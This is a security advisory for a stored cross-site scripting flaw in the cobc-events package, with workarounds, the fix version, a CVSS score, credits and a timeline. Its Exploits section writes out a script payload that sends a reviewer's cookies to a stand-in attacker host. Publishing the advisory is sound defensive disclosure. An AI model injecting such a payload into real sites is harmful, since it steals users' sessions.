GSSA-2026-04-TPJNF1GITLAB-GSSA-2026-04-TPJNF1April 25, 20266.1 Medium
Stored XSS via manual HTML escaping in events log-outcome view in cobc-events
The `log-outcome.ejs` template used the unescaped `<%-` output tag with hand-rolled HTML escaping that did not cover all XSS vectors, allowing stored XSS via `event.notes`.
Affected (1)
- gelhaus-solutionscobc-events
- ≥ 0.0.0Fixed in 1.0.1
Mitigations
Workarounds
- Server-side strip or sanitize `event.notes` until upgrade.
- Disable the `submit_event` permission for untrusted users.
Solutions
- Upgrade cobc-events to 1.0.1 or later.
- Audit existing `event.notes` content for malicious payloads.
Exploits
- Authenticated host submits an event with notes `</textarea><script>fetch('https://attacker/?c='+document.cookie)</script>`. When a reviewer opens the log-outcome page, the script runs in their session.
Overview
The log-outcome.ejs template used the unescaped <%- output tag with hand-rolled HTML escaping that did not cover all XSS vectors, allowing stored XSS via event.notes.
Severity
CVSS v3
6.1 Medium
6.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Weaknesses (2)
References (1)
- Patch in log-outcome.ejs (Patch)
Credits (5)
- Enno GelhausFinder · egelhaus@ennogelhaus.de
- Enno GelhausAnalyst · egelhaus@ennogelhaus.de
- Enno GelhausRemediation developer · egelhaus@ennogelhaus.de
- Enno GelhausRemediation reviewer · egelhaus@ennogelhaus.de
- Claude (Anthropic) — automated audit assistantTool · https://claude.com
Context
Impacts
Stored cross-site scripting in event notes
CAPEC-592
Timeline
- 04/25/2026 00:00
Internal security audit started
- 04/25/2026 06:00
Vulnerability identified during audit
- 04/25/2026 12:00
Patch developed and merged to main
- 04/25/2026 14:00
cobc-events 1.0.1 released
- 04/25/2026 15:00
Advisory published